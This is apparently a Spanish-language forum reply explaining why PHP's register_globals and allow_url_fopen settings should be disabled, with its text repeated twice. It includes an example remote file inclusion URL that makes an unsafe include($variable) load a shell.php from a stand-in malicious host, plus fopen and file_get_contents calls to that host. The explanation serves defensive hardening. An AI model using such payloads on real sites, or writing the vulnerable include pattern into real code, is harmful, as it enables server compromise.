Primero lo de register_globals Se tiene que tener deshabilitado para que obliguen al programador a manejar las variables que lleguen por el metodo POST o GET de la sgte forma
si el programador manejase una variable llamada "variable" en su sitio y la
usara para realizar un include algo asi
si register_globals estuviese habilitado tu podrias acceder a la pagina de esta manera http://www.pagina.com?variable=http://www.webmaliciosa.com/shell.php
y el include se haria del archivo shell.php
mejor dicho incluirias codigo malicioa en tu pagina
pero si register_globals estuviese en off esto no funcionaria por que deberia haber un include de la forma
y eso es muy poco visto
ahora mira allow_url_fopen
deshabilita las url remotas en funciones como fopen , file_get_contents, etc
por ejemplo tu no podrias hacer esto
Espero haberte ayudado aunque sea un poco
Saludos.
Código [Seleccionar]
$_POST['variable']
$_GET['variable']
si el programador manejase una variable llamada "variable" en su sitio y la
usara para realizar un include algo asi
Código [Seleccionar]
include($variable);
si register_globals estuviese habilitado tu podrias acceder a la pagina de esta manera http://www.pagina.com?variable=http://www.webmaliciosa.com/shell.php
y el include se haria del archivo shell.php
mejor dicho incluirias codigo malicioa en tu pagina
pero si register_globals estuviese en off esto no funcionaria por que deberia haber un include de la forma
Código [Seleccionar]
include($_GET['variable']);
y eso es muy poco visto
ahora mira allow_url_fopen
deshabilita las url remotas en funciones como fopen , file_get_contents, etc
por ejemplo tu no podrias hacer esto
Código [Seleccionar]
fopen("http.//www.webmaliciosa.com/shell.php","r")
file_get_contents("http.//www.webmaliciosa.com/shell.php")
Espero haberte ayudado aunque sea un poco
Saludos.